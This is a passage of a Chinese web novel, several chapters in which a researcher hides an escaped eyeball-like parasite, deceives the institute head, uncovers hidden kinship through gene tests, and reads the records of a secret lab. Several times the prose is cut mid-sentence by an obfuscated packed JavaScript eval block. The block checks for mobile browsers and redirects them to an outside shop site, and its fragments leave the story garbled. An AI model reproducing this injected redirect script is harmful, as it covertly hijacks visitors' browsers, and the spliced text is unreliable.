澄栖:…… 遇上真的了?在梦里吓吓她她也就认了,真出现是把她当软柿子捏? 反手枕头丢出去,眼球被枕头拍在墙壁上,又骨碌碌滚到墙角。澄栖打开台灯,被被子挡在下面的眼球并没有消失。 它扇动翅膀试图顶开枕头飞起来,还没爬起来呢,被澄栖一只手拎了起来。 “你是什么时候跟着我出来的?”澄栖问它。 眼球听不懂她说什么,只是一个劲的扑腾,试图脱离澄栖的魔爪。 行,看着长得这么高级,结果是一只听不懂话的寄生虫。 “逃出来也行。” 安澜的失踪和安萨斯逃不开关系,这只眼球在那边的作用好像还挺大的,要是能够和和气气把安澜换回来,那就再好不过了,毕竟她这个人,最怕麻烦。 一拳把眼球打晕,它总算安静下来,澄栖打开空间扣,想要把它丢进去。 往上面一放,眼球滑落到地板上。 没放进去? 澄栖怀疑自己的空间扣出问题了。 奇怪,也没听说空间扣还有出毛病的时候啊。 捡起来,澄栖再放了一次,眼球依旧滑落在地上。 她意识到事情有些不太对劲。 伸手把空间扣里的水团捞出来,然后再丢进去,没有丝毫阻隔。澄栖不确定地再把水团捞出来一次,丢进去,依旧没有丝毫阻隔。 不是空间扣的问题,那就是眼球的问题了。 因为空间扣能够容纳很多东西。它的本质是一小块被隔绝出来的空间,手上带着的手环只是它的载体,除了没有空气阳光,它和外界的空间没有任何区别。 寄生虫并不依靠空气活着,所以能够被放进空间扣里,放个灯,植物能进行光合作用,也能够放进去,至于其他没有生命的物体,自然也可以。 澄栖所知道的,不能被空间扣容纳的,只有依靠空气活着的动物和……人类。 一股寒气从脚底升上来,澄栖把自己手上的眼球转了转,突然发现,这一只并不是她在地下实验室见过的那一只。 那一只被她抽过血,翅膀上又不明显的针孔,而这一只,并没有。 这样想着,澄栖发现的不同越来越多。那只眼球因为在实验台上乱扑腾,被实验台边缘专门针对寄生虫的电流灼烧过,留下了伤口,而这一只,完完整整,没有半点伤,它比实验台上的那一只眼球精神多了。 眼球有两只一模一样的,更加符合动物或者人类的生理构造了。 32. 天花板上的眼睛(二) 澄栖拎着已经晕掉的眼球,这个大小,其实并不符合常见的生物大小。 是新的人造动物吗?还是其他的?澄栖不敢确定。 头顶的光明亮得甚至有些晃眼睛,她的通讯手环突然响起来。一串陌生号码。澄栖接通,是庄广生。 “实验室的新实验体逃掉了。” 是的,逃掉了,现在正好在她手上,不过澄栖也没那么好心要把它还回去。 “是那只眼球?” 通讯那头只沉默一秒,传递出肯定的信号。 “你是最后一个碰它的人,它很有可能会去找你。” “好的,院长,如果发现它的踪迹,我会立刻向您报告。” 澄栖的语气信誓旦旦。 庄广生沉默片刻,问,“你真的没有见到它的踪迹?” “当然了院长,难道我还会骗你吗?”嘻嘻,当然就是骗你的。 “嗯。” 澄栖挂断通讯,把晕过去的眼球包得严严实实,她需要现在把它带回家里,研究院毕竟是别人的地盘,不太安全。 眼球连带着包裹它的布料一起塞进水杯里,她又联系了熟悉的研究员,“我这里有两份血液标本,麻烦帮我做个基因检测。” 得到对方肯定的回答,澄栖才从空间扣里把装血液的试管拿出来,去实验室又抽了自己的一管血,两管一起交到了同事手上。 她倒要看看,庄广生嘴里,眼球与那个灰色雾团相关,到底有多相关。 “行,明天早上来取。”同事爽快接过。 澄栖一回到家里,就加急快递了一个能关住的眼球的容器,特殊单面玻璃,能从外面观察到里面,里面看不到外面。 眼球在容器里悠悠转醒,试图撞破玻璃逃出去,撞了好几次,发现是无用功,终于老实下来。 澄栖满意点头,这个小东西可不能逃走了,她还打算拿它去换安澜的消息呢。 做完所有事情,太阳已经从西边落下去,夜幕降临,好几天没睡好觉的澄栖洗完澡,吃了药躺在床上,终于睡了一个比较安稳的觉。 第二天一早,她藏好眼球,直奔研究院。同事一晚上没睡,分析寄生虫数据的间隙,也没忘把她要的东西做出来了。 文件放在桌子上,同事哈欠连天,但眼睛却十分有神,闪烁着八卦的光芒,“037,你这是私下里接了谁家的基因鉴定?” 澄栖一时间有些没反应过来,“什么?” “跟我你还瞒什么?放心吧,我嘴巴紧得很。不方便具体透露也没有关系,你就跟我大概说说,是不是谁谁谁出轨有私生子,被原配发现,带了两个孩子的血液标本来做检测?” “哎,怎么就找上你了没找我?研究院一天无聊死,八卦都没一口吃的。要不是基因数据库封闭,我们不能查看,我早就去找是哪家的事情了。哎,我说037,你就稍微透露一下?” “私生子?”澄栖看着桌子上还没有翻开的文件,心里咯噔一下,有一种诡异的猜测。 “你看你这个人真是!” 同事指了指她,直接把鉴定结果翻到了最后一页,上面的鉴定意见是,“支持两份鉴定标本之间,存在同父异母的半同胞关系”。 “结果都出来了,你不要告诉我你不知道,我不相信。” 澄栖把文件往前翻,一项一项查看具体检测数据,没问题,每一项都没有问题。 看着她的反应,同事意识到什么,“你真不知道啊,这两份标本,不会有你……” “先走了,感谢你,改天请你吃饭。”澄栖合上文件,面色不变,只是走路间的速度,还是泄露了几分不安定。 何止是不安定,澄栖的脑子现在都快要爆炸了。脚步一转,她登上去研究院负二楼的电梯。正巧碰上庄广生从下面上来。 “院长。”澄栖率先打招呼。 庄广生明显心情不佳,淡淡“嗯”一声表示他听到了。 澄栖注意到他身后还跟着一个身形高大的黑衣服男人,有些面善,澄栖在记忆里过了一遍,想起来自己在布德温身边曾经见到过这个男人。 这两个人怎么又搅和在一起了? “研究院又来新同事了?”澄栖随口问道。 庄广生不太想说话,“保镖。” 澄栖点点头,看来新实验体逃走这件事情对庄广生的压力真的很大,连去地下实验室抖带着保镖,这么怕死啊。 澄栖有些严肃,“院长,给我也配一个保镖呗,我看你身后面这个就挺好的,不然先给我,您再找找,我感觉我被攻击的可能性很大啊。” 庄广生:? 好大的脸面,偏偏澄栖脸上没有任何玩笑的意思,看得出来,她是在认真考虑这件事情。 庄广生那么体面的人都没忍住露出来半个白眼,“原颂在前线的私人护卫队退役下来的,他每次任务的工资,顶得上你大半年的。” 这话说得很明白了,澄栖,那么穷,想得那么美。 澄栖脸上笑容不变,“原来是元帅身边呆过的高人,那还是算了,我付不起出场费。” 庄广生背后沉默不语的男人微微低下头,面对赞赏,露出来一丝腼腆。 “但是院长啊,”她转头,语气郑重,“我还是觉得自己也需要一个保镖,昨天得知实验体的消息,一晚上没睡好,梦里都是被实验体追着杀,我害怕。” 庄广生在衡量一个研究员的价值。 “我会考虑的。”他没说答应,也没说不答应,打得一手好球。 “好的,喔等您的好消息。” 庄广生一刻都不想多待,离开的速度都变快了。 澄栖在办公室找新实验体的资料。 那两只眼球的保密等级竟然比一号实验体灰雾的等级更高。 它好像凭空出现在地下实验室一样,它的来历和原始数据都查阅不到,唯一能查阅到的数据,还是澄栖前两天在实验室里做出来的那些,在之前或是之后,再也没有相关的记录了。 一号实验体好歹还知道是人和寄生虫结合的产物,而眼球,真是两眼一抹黑。 办公室查阅不到,澄栖转头又去数据库,数据库的工作人员记录后给她开了权限。 只是这份权限开不开好像没什么区别,它就是某一天凭空出现在地下实验室,在澄栖上手之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157908|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的数据倒是有,就是和她做出来的大差不差,没有参考价值。 眼球出现最早的时间很近,也很晦气,她在宴会上被软禁的那一天。 也是莉丝莫名其妙失踪的那一天。 实验数据不会说谎,一号实验体有一半人类基因。眼球和她的数据重叠度,也有人类基因,毕竟如果是纯种寄生虫,也不会弱成那个样子。所以她们重叠的那一部分,应该是父系属于人类基因。 澄栖返回去,干脆把一号实验体的数据调出来。 一号实验体的记录就详细多了。她平静看完数十项毫无人道的研究试验,一直往前翻,发现一号实验体的来历也没有详细记录,在实验室建立那天,就出现在地下实验室。 或者说,地下实验室就是因为一号实验体的存在才开始建立起来的。 “基因数据库的权限能开吗?” “基因数据库?实验体的基因数据都在啊。” “不是,我说人类的,查一查布勒家族的基因数据。” 数据库的工作人员:有点无语住了。 布勒家族,是安萨斯的姓氏。 这个新来的研究员挺牛的,一开口就是这种会坐牢的问题。 “这个权限只能院长才能开呢亲亲,不然你去找院长试试?或者布勒宫也存了一份历代皇族的基因数据,你去布勒宫看看呢亲亲。” 好的,已经感受到阴阳怪气了。 “好吧,我知道了。”澄栖有点失望,也不能直接闯布勒宫查他们的基因数据谱,哎,烦。 走一趟,无功而返,她负责的实验体因为逃走的那一只暂时停止了实验,地下实验室没什么要干的事情,澄栖回到研究院,怒而建模了三只新从前线送过来的寄生虫才下班。 晚上回到家里,她打开了好久没有联系的原颂的联系框,给他发了一份照片,是今天跟在庄广生身后的那个沉默不语的保镖。 没过多久,原颂把宋学祖宗十八代的消息都扒干净打包传给澄栖了。 原颂:他手上兴许有寄生虫或者和寄生虫有合作,万事小心。 澄栖没敢告诉原颂,她手上也有寄生虫。 澄栖口气有些小心,问原颂,“如果我变成寄生虫,还有你的遗产继承权吗?” 变成寄生虫她还可以接受一下,但乍富再乍穷,澄栖觉得自己心里接受度恐怕就没有那么高了。 原颂发来一个问号,还有一句:累了可以多休息。 澄栖顿时看出来这句话背后的意思,累了就多休息,别没事发疯。 不行,她这个婚还是得找个时间离了。善良的财富,只能等她下辈子了。 澄栖:我知道了。 她再也没有聊下去的欲望了。 原颂等了半响,没看见她的新消息,索性一个通讯拨过来。 通讯瞬间接通,两个人在通讯两边沉默无声。 过了好几分钟,原颂开口,“威什星的流动资金不够用了?我让秦叔给你转点。” 不应该。 他最大的产业在威什星,那边的矿场也划到了她名下,她不应该缺钱用的,澄栖,这是突然怎么了。 33. 天花板上的眼睛(三) 澄栖叹气,“咱找个时间把婚离了吧,你有点影响到我找第二春了。” 那边沉默好半天,原颂才终于确定自己没有听错。 澄栖说,她要离婚。 原颂自动把这句话等同于,她打算给他带个绿帽子了。 “那个人是谁?”他声音有些发冷。 “什么人?”澄栖有些疑惑。 “你要离婚,打算跟什么人在一起?” 原颂想了想,他在威什星还有些能用的人,只要能套出来那个人的身份,悄无声息把人带走,应该不成问题。 “嗯?你在想什么,没有的事儿。” “行,那就没有离婚的必要。”原颂松了一口气,“忙,我先挂了。” 澄栖看着突然被挂掉的通讯,觉得莫名其妙。话都没说清楚就挂了是什么意思。管他的,这婚早晚得离,还必须是尽快离,要是哪天她寄生虫的身份不保,就真的连逃跑都来不及了。 又想起来自己只做了和地下实验室那一只眼球的基因检测,而她家里这一只眼球的基因检测还没有做,澄栖思考一下,决定这个基因检测也得顺便做了。 万一出现新情况呢。 可是一掀开帘子,玻璃容器里什么东西都没有,顶上被撞出来一个大洞,很显然,眼球越狱逃走了。 澄栖的面色沉了下去。 几乎不用思考,她知道眼球接下来会去找谁,庄广生。 现在庄广生在哪里呢? 因为新实验体逃跑的事情,庄广生才从布勒宫出来。 安萨斯倒是没说什么重话,只是提醒他,早点把实验体找回来,相信他的能力之类的话。 庄广生听两句都要吐了,本来就不好愉快的心情更加不好,更不用提晚上回去睡个好觉。索性就坐车去了研究院,打算先做点事情。 研究院是夜以继日的一片明亮。 庄广生在研究院有自己的住所,连着他的办公室。 宋学没有跟庄广生进办公室,站在办公室门口,这样里面一有动静,他也可以马上反应过来。 澄栖喘着气赶到研究院的时候,看到的就是宋学像雕塑一样站在门口的样子。 “院长呢?”澄栖的语气急促。 她手撑着门,想要破门而入。 宋学伸手拦开她,“这位研究员,有什么事情吗?” 这是澄栖头一次听见宋学的声音,和一般守卫中气十足的声音不同,听起来竟然是那种腼腆清澈的声线。 但是想到宋学的出身,澄栖也能够理解。 她皱眉,“我没事,但你再拦我一下,里面的院长就要有事情了。” 宋学依旧拦着她。庄广生并没有提前跟他打招呼,那就是不能放人进去的意思了。 澄栖在门上敲了几下,“院长,我是037。” 里面没有任何回应。 宋学试图把她推走。 澄栖的声音加大,“庄广生!” 依旧没有任何回应。 澄栖转头看着宋学,“你现在还要拦我?” 宋学有些犹豫,动作迟疑了一瞬,澄栖推开他,强行把门打开了。 一打开,就看见庄广生坐在椅子上的背影,他的头偏向一边,看着不像是清醒的样子。 澄栖空间扣里的刀被迅速抽出来,用刀柄将椅子撬过来。 椅背被旋转的瞬间,一道残影猛然扑向澄清,撞在她的刀背上,掉下去。 是那只从她家里逃走的眼球。 紧跟着她进来的宋学端起枪,对着眼球射击,被眼睛快的澄栖拦着。 “别杀它,这是我们一直在找的实验体,先去看院长!” 宋学迟疑片刻,看了看澄栖,又看了看地上的已经被澄栖控制的眼球,还是点头,把椅背彻底转过来。 庄广生脖子上全是血。他死死扯着自己的衣领,手上也沾满了血,还有眼球翅膀上的灰色羽毛。 眼睛瞪大,说不出来话,因为他的气管已经被眼球咬开了,要是晚一刻,庄广生的动脉估计也要被眼球咬开了。 而办公桌上,还有一支注射过的针剂。上面也沾了几根细小的羽毛。 如果不出错,这支注射剂,应该是眼球搞到的,给庄广生用上了,要不然他现在不会是这个不能动的状态。 还挺聪明的。 澄栖有点后悔,要是宋学再多拦她一段时间,说不定庄广生真的就死了。 “院长!”宋学看了一眼办公桌上的注射剂,连忙给庄广生找了解药注射进身体里。 庄广生的身体缓慢复苏,脖子上的血流得更欢了。 已经紧急呼唤了救援,但人还没来,澄栖不知道什么原因,也突然倒在了地上,不省人事。 别说宋学了,就是被澄栖抓在手上的眼球都差点没有反应过来,直到澄栖的小拇指推了它一下,它火速从研究院的窗户飞出去了。 宋学眼睁睁看着眼球逃掉,想要去追,可是此刻他要是拿开按着庄广生脖子的手,他就会继续流血,还有地上晕倒原因不明的澄栖,咬咬牙,还是眼睁睁看着眼球跑了。 庄广生很快被送去医院急救,澄栖装了两下,也悠悠转醒过来。 好巧不巧,在旁边守着她的,正好是帮她做基因检测的研究员同事。 “你这运气,也太惨了。”研究员同事看着澄栖的眼神里带着怜爱。 这种被寄生虫袭击的小概率事件都遇上,还是在寄生虫研究院这种地方。 “很正常,研究院的寄生虫那么多,逃一两只出来报复再正常不过。” 同事愣了愣,虽然他没有遇到过这种事情,但是他竟然觉得澄栖说得不错。 “那倒也是,天天对着寄生虫,我都有点麻木了,该死的要什么时候才能退休啊。” 研究员培养周期太长,工作了也得不停学习,以防万一和最前沿的技术脱轨,比拉磨的驴还要累,说句不好听的,等退休,还不如祈祷自己不要死在工作岗位上。 “今晚你也加班?” 同事语气幽怨,“你这是什么话,这段时间前线送过来那么多寄生虫标本,我们难道还有下班的时间。” 哦,他忘了,澄栖有。要是他有澄栖的工作速度,该多好。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168050|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “帮我再做一份基因检测。” 澄栖从口袋里掏出来一块染血的布,甚至还是湿的。 湿她刚刚从眼球翅膀上沾下来的,这上面,除了庄广生的血,还有眼球的血,澄栖又给了一份她自己的血液标本。 “一共有三个人的血液标本。”她相信以自己同事的能力,一定能把那块染血布上两个不同的基因提取出来。 也不用再去找眼球逃到哪里,抓到它,再取一份血液标本。现在就能把检测做了。 同事人蔫蔫的,但是没有拒绝,一口答应下来。 “行。” “感谢,我帮你分析一份寄生虫标本的数据,明天早上我过来拿检测结果。” 同事顿时表情也不蔫了,说话也有力气了。“真是太谢谢你了!” 他们的工作任务可不像澄栖那么变态,一只寄生虫标本,足够他接下来好几天都放假,难道这还不足以让他兴奋吗! 037,真是人民的好同事啊。 晚上分析完标本已经到了半夜,庄广生醒了。 命大,喉咙上的伤口一缝,除了失血过多,没有其他的问题。营养液补一补,又能活。澄栖再一次后悔自己到的时间太早。 只是,好歹是人命,年纪还那么大了,天大地大,人命关天,澄栖就当自己救了一条狗。 宋学大概是因为护卫不利,已经被庄广生打发来请澄栖过去,他身边,又添了好几个保镖。 庄广生先是向澄栖表达了感谢。 澄栖满脸惶恐直摆手。 两个人你来我往,装模作样半天,最终以庄广生喉咙上的伤口再次崩开结束。 澄栖抓住机会连忙表示自己该回去了。 庄广生看着她走得飞快,脸色变阴沉,说话不太利索,“她,不对……劲,去,查。” 这个研究员,是怎么知道,实验体会在那个时间点出现在他的办公室的? 除非,她先前就掌握了实验体的动向。而明明已经掌握了实验体动向,却没有往上汇报。 这个人的举动,处处透露着不对劲。 庄广生能够发现的端倪,澄栖自然不会忽略。一时好心给自己埋藏下祸根,她现在也在思考,如何才能找个借口,将这件事情糊弄过去。 一直到回家,她还是没有想出来一个完美将自己摘出去的方法。 她靠在门上,突然间看到窗户上有一滴血。 暗骂一声,赶紧拿纸把血擦干净,果不其然,还擦出来一根细小的羽毛。 幸好今天第一个到她家里的人是她,要是庄广生手下哪个查消息的人,她明天就该蹲在某个暗室里了。 关上窗户,把门锁好,澄栖去掀之前关眼球的那个玻璃容器上的布,一掀开,果然看见眼球缩在角落里,顶上那么大一个洞,它倒是安安稳稳缩在角落里,不出去了。 澄栖额头上的青筋跳了跳,赶快拨许三光的通讯,把这个烫手山芋送过去了。 许三光看着玻璃容器里怪异的寄生虫,什么也没问,只是让澄栖风头过去了赶紧把东西带走,澄栖这才狠狠松了一口气。 34. 天花板上的眼睛(四) 剩下的时间已经来不及回去再睡个觉,澄栖打算直接去研究院拿报告。坐在飞行器上,不知道为什么,她心里总是萦绕着一股淡淡的不安。 飞行器窗外的轨道出现又消失,像是彗星拖着长长的蓝色尾翼,转瞬而逝,淡淡的烦躁让她看见这样的景象第一反应不是觉得神奇,而是担心飞行器撞上她。 像是回应她的情绪一般,通讯响起来。 是帮忙做检测的同事。 “出什么问题了吗?”澄栖压下自己心中的不安定,尽量让自己的语气听起来平稳。 “检测的问题倒是没出什么问题,就是刚刚院长不知道为什么,把你要检测的那份报告复印了一份带走了。” 同事不知道一个两个为什么都那么关注那份检测报告,难道是结果太炸裂? 想到澄栖毕竟是私下里请他帮忙做的检测,现在结果被院长拿走了一份,他觉得自己有必要给澄栖说一声。 澄栖一听到消息,脑海里的那根弦绷断。果然她的烦躁不是空穴来风。 “检测结果和先前那一份是一样的吗?” 其实澄栖的心里已经有答案,两只眼球几乎一模一样,最后的检测结果,估计没没什么差别。 庄广生。 澄栖脑子里萦绕着这个名字,老狐狸,她真得想办法了,如果糊弄不过去,只能让他没办法把这个消息传出去。 “嘶——这还真不好说。” 同事的声音里有些为难。 “你给我的一共有三个血液标本。一号和二号跟之前那两份没有任何区别,就是三号,检测出来,和二号之间,检测出来存在祖孙亲缘关系。所以我又做了一号样本和三号样本的分析,发现没有祖孙亲缘关系。” 同事对这份检测报告的结果啧啧称奇,“我说,你还在接上一次那家人的任务啊,这到底是哪家啊,这关系乱的。” 澄栖怀疑自己听错了,“你说什么?” 什么叫二号样本和三号样本之间也有亲缘关系?三号样本是——庄广生?! 庄广生,和眼球有亲缘关系?! 同事那边翻开检测报告,把检测结果清晰的再给澄栖念了一遍。 澄栖沉默,她扶着座椅的把手,觉得自己的脑袋有点晕。 “喂,你还在吗?037?” “……我在,我马上过来。” 澄栖把检验报告从头到尾更加仔细看完,最后看着鉴定结果,突然笑了。 好了,这下子彻底不用担心庄广生把她的身份捅出去了。 “真是太乱了,这些关系。”她合上报告,摇头感叹。 同事也点头,“就是,太乱了。” 研究院今天爆发了一个大消息,庄院长突然心梗住院了。 澄栖再一次见到宋学的时候,正在实验室分析标本。 看着澄栖手起刀落的样子,宋学站在门口有些犹豫要不要进。 澄栖发现门口有人,抬头发现是他,没有半分意外,问,“院长找我?” 宋学点头,嘴唇抿紧,看上去有点不好意思。 澄栖在私下里做检测的事情是他查到的,但是他也没有想到,庄广生看过那份报告之后,突然就晕过去了。 他好像总是这样,什么事情都办不好。 “带路啊,还站着干什么?” 澄栖麻利脱了防护服,说真的,她等庄广生要见她已经等挺久了。然后看见宋学还站在门口,不知道在想什么。 这人是不是被庄广生突然心梗吓傻了? “好。” 庄广生半躺在白色的病床上,还带着呼吸机,他的精力应该已经用到极致了,但好像害怕错过什么,依旧强行撑着不愿意睡过去。 这对病人来说,不是个好状态。 直到看见澄栖站在门口。 他颤颤巍巍抬起手指,指着澄栖,好像要说什么。 没说出来。他喉咙上的伤口还没好彻底,又遇上心梗,能说出来才怪。 这应该算是恶人又恶报。 “院长,还好吗?”澄栖平静坐在一边,等庄广生缓过来。 他在纸上写:你是谁的人? 澄栖摇头。 庄广生继续写:你知道新实验体的去向? 澄栖挑了挑眉,继续摇头。 庄广生握笔的手有些颤抖了,写下:我把寄生虫研究院交给你,把实验体还给我。 研究院?澄栖要研究院有什么用?实验体对她的作用可比研究院有用多了。 澄栖再一次摇头。 庄广生闭了闭眼,再睁开时,眼睛里全是狠辣和决绝,加上他现在在病床上这一幅消瘦的样子,活像是厉鬼回来索命了。 他掏出来一把钥匙,在纸上写下:资料室和三级研究员,我的诚意。 资料室?澄栖的眼神终于动了。“地下实验室的资料室?”资料室的钥匙,查东西可就方便多了。她倒要看看,她这个一号实验体,到底是怎么一回事。 庄广生点头,他想得果然没有错,澄栖进入研究院,就是冲着这个来的。 她身上有安萨斯的血脉。 到底是安萨斯在外面什么生出来的孩子?现在,她是回来复仇了吗? 如果她是回来复仇的,那就再好不过,他会一步一步把她推到那个位置上,让安萨斯的女儿亲手了结安萨斯。那真是个畜生。 “好的,院长,我去找实验体了,我一定尽快把实验体找回来。”澄栖微笑点头,忽略掉庄广生眼睛里的探究,从他手上接过资料室的钥匙。 钥匙是一颗八面体的黑色金属,和骰子的大小差不多。 庄广生撑着力气在纸上写:我要知道你的情况,你是谁的人? 这应该是利益双方互换把柄的场面,但是澄栖有些犯难,她应该说她的什么情况才比较恰当? 澄栖隐藏了一半,只说,“我来研究院找东西,找到东西自然会离开的,不会威胁到你,放轻松,庄院长。” 庄广生盯着澄栖,不相信:你难道不是为了摧毁地下实验室,曝光安萨斯的罪行来的? 澄栖不知道这种误解到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她当然知道里面有东西,不过事情还是得一件一件解决。“院长您好好休息,我先去干活了。” “对了,不是还有一个新实验体留在实验室里了?不知道实验继续进行下去吗?比如像一号实验体那样,往它身体里塞个十条八条寄生虫之类的。” “院长不是说一号实验体和新实验体有一些基因重合的地方,当初塞了那么多寄生虫,一号都没死,想必新实验体也能够撑一段时间?” 庄广生指着澄栖浑身颤抖,她看清楚呼吸机里,庄广生的嘴唇煽动,他说的是,恶毒。 澄栖:无话可说,这就算恶毒了? 不过庄广生人虽然还待在医院,一副要死不活的样子,但是动作倒是快得很,澄栖一从医院出去,就带着资料室的钥匙,往地下实验室里去,半点时间都没有耽搁。 可是到实验室的时候,随口问了一下新实验体的情况,才知道庄广生已经让人把实验体带走了。 这样的速度,可见是真的害怕澄栖往新实验体身边塞寄生虫了。 澄栖耸耸肩,没在意,步履轻快往资料室走。 这是地下实验室最高权限的资料室。只有院长权限才能涉足的地方。 35. 资料室 澄栖终于得到了地下实验室关于一号实验体的全部消息。 和她猜测的没有出入,地下实验室是因为一号实验体建立起来的绝密实验室。 实验室开始的记载,就是一号实验体的信息。 二十三年前,一群只效命于布勒皇室的研究员得到一份寄生虫血液标本。 他们在那份标本身上,意外提取到一种从未见过的细胞,它的衰老速度极其缓慢,按照测算,细胞在自然状态下完全死亡的时间,至少在一千年。 他们发疯似的继续研究那份血液标本里面其他的物质,惊喜一个接着一个,那并非一份普通的寄生虫标本,他们在标本里面的发现的东西,让他们有足够的理由怀疑,这只寄生虫已经进化到更高等级,拥有高等级智慧,甚至是比人类更高等级的智慧生命。 单是上千年的寿命,怎么也算得上长生了。 可是血液样本太少了,没过多久,样本消耗殆尽,研究停滞。 星际寄生虫研究院上一任院长作为参与研究的研究员之一,刚刚写下的关于寄生虫高等智慧生命体的理论,最终也因为没有足够的数据支撑,停留在猜测的层面上。 事情的转机出现在四年后。 新的血液标本出现了。 令人惊喜的是,这一次,不只是单单的血液标本,而是一个完整的实验体。 为安萨斯·布勒陛下服务的地下实验室建立。 那个实验体就是地下实验室的一号实验体。 没有人在乎一号实验体为什么只有一半的寄生虫基因,另一半是人类。他们能够从它身上获得的东西太多,那些小小的疑问完全可以忽略不计。 可是一号实验体比起四年前血液样本情况并不好,或许是有一半人类基因,它在十几年如一日的研究中,变得越来越脆弱,终于,在星际纪年,第一千四百八十四年,七月三日,死亡。 地下实验室为之一震。 幸好这些年围绕着一号实验体已经建立起来完整的研究体系,包括寄生虫的研究,包括人类的研究,以及寄生虫基因与人类基因结合的研究。 地下实验室不至于崩塌。他们在等下一个实验体的到来。 澄栖算了算时间,十九年前,和她现在这具身体的年龄对得上。 她把关于一号实验体的实验记录从头到尾完整看了一遍。 开始是一团小小的灰雾,蜷缩在角落里,到后面,变得越来越大,灰色的雾气充斥在整间实验室里,连摄像头都被腐蚀掉,最后到某一天,雾气不再流动,化成水,彻底消失。 挺……惨的。 大概从一出生开始,就被圈禁在实验室里,直到死亡。 澄栖心里不太好受。 不知道什么原因,一号实验体死了,但是她的灵魂附着在它的身体上,变成了现在这个样子。 应该是灵魂,除了这种说法,她现在也找不出来更加高级的解释。 地下实验室,因为一号实验体存在,现在它已经消亡,不如实验室也给它陪葬吧。 这种天良丧尽的地方,本身就不应该存在。 雾气。 她只见过一种寄生虫是这个形态。 在苏格星。 安澜说,她的名字叫安轻。 澄栖脚底下有冷气冒上来,瞳孔剧烈缩小,不敢再继续往下面想。 手环适时震动。 是庄广生。这老头,还挺能活的,不久之前还说不出来话呢,这才过去多久,都能给她拨通讯了。 “你找到,你要,的东西?” 听起来恢复得不算太好,着急打过来,对新实验体的紧张程度可见一斑。 嗯,刚刚光顾着找一号实验体的信息,还没看看这个新实验体是怎么回事。 “院长,资料室的数据不完整,我很抱歉。” 关于一号实验体是怎么来的,一点信息都没有,这很不应该。 “不,可能。”庄广生信誓旦旦。 地下实验室自从建立以来的全部数据都在资料室了。尤其是,他一开始就是管理资料室的,到后面一步一步逐渐升职成院长,他很确定资料室的东西没有被人消除或者是篡改过。 “那就更加抱歉了,院长,如果没有的话,我找不到自己想要找的东西,就更加没有理由帮你了。” 地下实验室没有,那还有谁知道事情的始末? 澄栖翻动文件,看见了那个名字,安萨斯。 用新实验体交换信息的话,是不是还缺点什么?要不然把庄广生也举报了吧。狗咬狗的好戏,肯定好看,嘻嘻。 “我知道谁有!我,帮你咳咳咳……” “这样吗,真的太感谢院长了。” 澄栖想了想,庄广生能拿到信息的概率,确实比自己多得多。 “放心吧院长,明天我会把新实验体毫发无伤送到你面前的。”澄栖向他保证道。 真是感人的亲缘关系啊。 澄栖说到做到,一上去,就到许三光那里提眼球去了。 “要带走了?” “嗯。”澄栖淡淡回一声,并没有过多透露。 许三光看着玻璃器皿里的眼球,眼睛里满是羡慕的目光,“哎,运气可真好啊,老师能见到这些罕见的寄生虫。前线那边需要一个外派的研究员,那边也很中意让你过去,这一下子,又能见到更多的罕见寄生虫了。” 许三光越说,眼睛里的羡慕越加浓厚,又重复了一遍,“真好啊,要是我再年轻几年,也有精力去前线了。” 这就是人和人之间的差距了。澄栖被看得差点起一身鸡皮疙瘩。 她恨不得一辈子安安稳稳做人,什么寄生虫的事情都不要沾上,偏偏适得其反。 “前线?什么时候的事情?”她并没有收到要去前线的派遣任务。 “还没下来呢,我有我的消息渠道。估计明天派遣任务就该下来了。” “庄广生那个老家伙真是的,偏偏这个时候生什么病,这下好了,他的事情分到我身上,要不然,我也能去前线。” 澄栖只当自己没有听到。 这就是研究员精神吗,恐怖如斯。 “教授,您对寄生虫这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178239|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感兴趣,当初为什么不加入实验室?”实验室的那些寄生虫,各种不相干的基因组合起来,绝对是星际头一份的稀奇古怪。 许三光眼珠子转了两圈,“什么实验室?” “教授,再装就不礼貌了。” “你这话说的。好吧,其实也不是不想,就是当年庄广生邀请我的时候,我说我要当院长,他不同意,真小气,什么没脸没皮道德沦丧的事情都干出来了,邀我入伙,居然连个院长的职位都不愿意给。” 许三光现在想起来都摇头,“那哪里是什么正经实验室哦,进去一次,害我回来做了半个月的噩梦,天天梦到寄生虫追着我杀。” 要不是因为这个,他怎么会那么轻易答应安澜,想办法把澄栖从实验室里弄出来了。 “当然了,如果你现在要组建一个什么新的实验室,邀请我,我也是可以考虑考虑加入的。” 